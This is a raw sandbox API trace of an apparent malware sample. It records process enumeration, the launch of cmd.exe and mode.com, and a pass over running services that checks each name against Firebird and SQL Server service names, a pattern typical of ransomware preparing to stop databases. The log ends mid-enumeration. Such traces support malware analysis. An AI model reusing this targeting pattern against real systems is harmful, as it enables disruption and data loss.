	[0086.588] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0086.588] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0086.588] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0086.589] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0086.589] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.590] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.590] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.590] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.590] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0086.591] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0086.591] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0086.592] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0086.592] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0086.593] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0086.593] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0086.593] lstrlenW (lpString="UsoClient.exe") returned 13
	[0086.593] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.594] lstrlenW (lpString="conhost.exe") returned 11
	[0086.594] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.595] lstrlenW (lpString="conhost.exe") returned 11
	[0086.595] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.595] lstrlenW (lpString="svchost.exe") returned 11
	[0086.595] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0086.596] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0086.596] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.597] lstrlenW (lpString="svchost.exe") returned 11
	[0086.597] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0086.597] lstrlenW (lpString="cmd.exe") returned 7
	[0086.597] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.598] lstrlenW (lpString="conhost.exe") returned 11
	[0086.598] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0086.599] lstrlenW (lpString="dllhost.exe") returned 11
	[0086.599] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0086.599] lstrlenW (lpString="mode.com") returned 8
	[0086.600] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0086.600] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0086.600] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0
	[0086.601] CloseHandle (hObject=0x354) returned 1
	[0086.601] Sleep (dwMilliseconds=0x1f4) 
	[0087.993] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53f008
	[0087.994] EnumServicesStatusExW (in: hSCManager=0x53f008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0088.029] GetLastError () returned 0xea
	[0088.029] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ddc) returned 0x31936f0
	[0088.029] EnumServicesStatusExW (in: hSCManager=0x53f008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x31936f0, cbBufSize=0x1ddc, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x31936f0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0088.030] CloseServiceHandle (hSCObject=0x53f008) returned 1
	[0088.030] lstrlenW (lpString="Appinfo") returned 7
	[0088.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0088.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0088.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0088.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0088.031] lstrlenW (lpString="AppXSvc") returned 7
	[0088.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0088.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0088.031] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0088.031] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0088.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0088.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0088.031] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0088.031] lstrlenW (lpString="Audiosrv") returned 8
	[0088.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0088.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0088.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0088.031] lstrlenW (lpString="BFE") returned 3
	[0088.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0088.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0088.031] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0088.031] lstrlenW (lpString="BITS") returned 4
	[0088.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0088.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0088.031] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0088.031] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0088.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0088.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0088.031] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0088.031] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0088.032] lstrlenW (lpString="CDPSvc") returned 6
	[0088.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0088.032] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0088.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0088.032] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0088.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0088.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0088.032] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0088.032] lstrlenW (lpString="CryptSvc") returned 8
	[0088.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0088.032] lstrlenW (lpString="DcomLaunch") returned 10
	[0088.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0088.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0088.032] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0088.032] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0088.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0088.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0088.032] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0088.033] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0088.033] lstrlenW (lpString="Dhcp") returned 4
	[0088.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0088.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0088.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0088.033] lstrlenW (lpString="Dnscache") returned 8
	[0088.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0088.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0088.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0088.033] lstrlenW (lpString="DoSvc") returned 5
	[0088.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0088.033] lstrlenW (lpString="DPS") returned 3
	[0088.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0088.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0088.033] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0088.033] lstrlenW (lpString="DusmSvc") returned 7
	[0088.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0088.033] lstrlenW (lpString="EventLog") returned 8
	[0088.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0088.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0088.033] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0088.034] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0088.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0088.034] lstrlenW (lpString="EventSystem") returned 11
	[0088.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0088.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0088.034] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0088.034] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0088.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0088.034] lstrlenW (lpString="FontCache") returned 9
	[0088.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0088.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0088.034] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0088.034] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0088.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0088.034] lstrlenW (lpString="gpsvc") returned 5
	[0088.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0088.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0088.034] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0088.034] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0088.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0088.034] lstrlenW (lpString="iphlpsvc") returned 8
	[0088.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0088.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0088.034] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0088.034] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0088.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0088.034] lstrlenW (lpString="KeyIso") returned 6
	[0088.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0088.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0088.034] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0088.034] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0088.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0088.034] lstrlenW (lpString="LanmanServer") returned 12
	[0088.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0088.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0088.034] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0088.035] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0088.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0088.035] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0088.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0088.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0088.035] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0088.035] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0088.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0088.035] lstrlenW (lpString="lfsvc") returned 5
	[0088.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0088.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0088.035] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0088.035] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0088.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0088.035] lstrlenW (lpString="lmhosts") returned 7
	[0088.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0088.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0088.035] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0088.035] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0088.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0088.035] lstrlenW (lpString="LSM") returned 3
	[0088.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0088.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0088.035] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0088.035] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0088.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0088.035] lstrlenW (lpString="MapsBroker") returned 10
	[0088.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0088.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0088.035] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0088.035] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0088.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0088.035] lstrlenW (lpString="MpsSvc") returned 6
	[0088.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0088.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0088.035] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0088.036] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0088.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0088.036] lstrlenW (lpString="NcbService") returned 10
	[0088.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0088.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0088.036] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0088.036] lstrlenW (lpString="netprofm") returned 8
	[0088.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0088.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0088.036] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0088.036] lstrlenW (lpString="NlaSvc") returned 6
	[0088.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0088.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0088.036] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0088.036] lstrlenW (lpString="nsi") returned 3
	[0088.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0088.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0088.036] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0088.036] lstrlenW (lpString="PcaSvc") returned 6
	[0088.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0088.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0088.036] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0088.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0088.036] lstrlenW (lpString="PlugPlay") returned 8
	[0088.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0088.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0088.037] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0088.037] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0088.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0088.037] lstrlenW (lpString="Power") returned 5
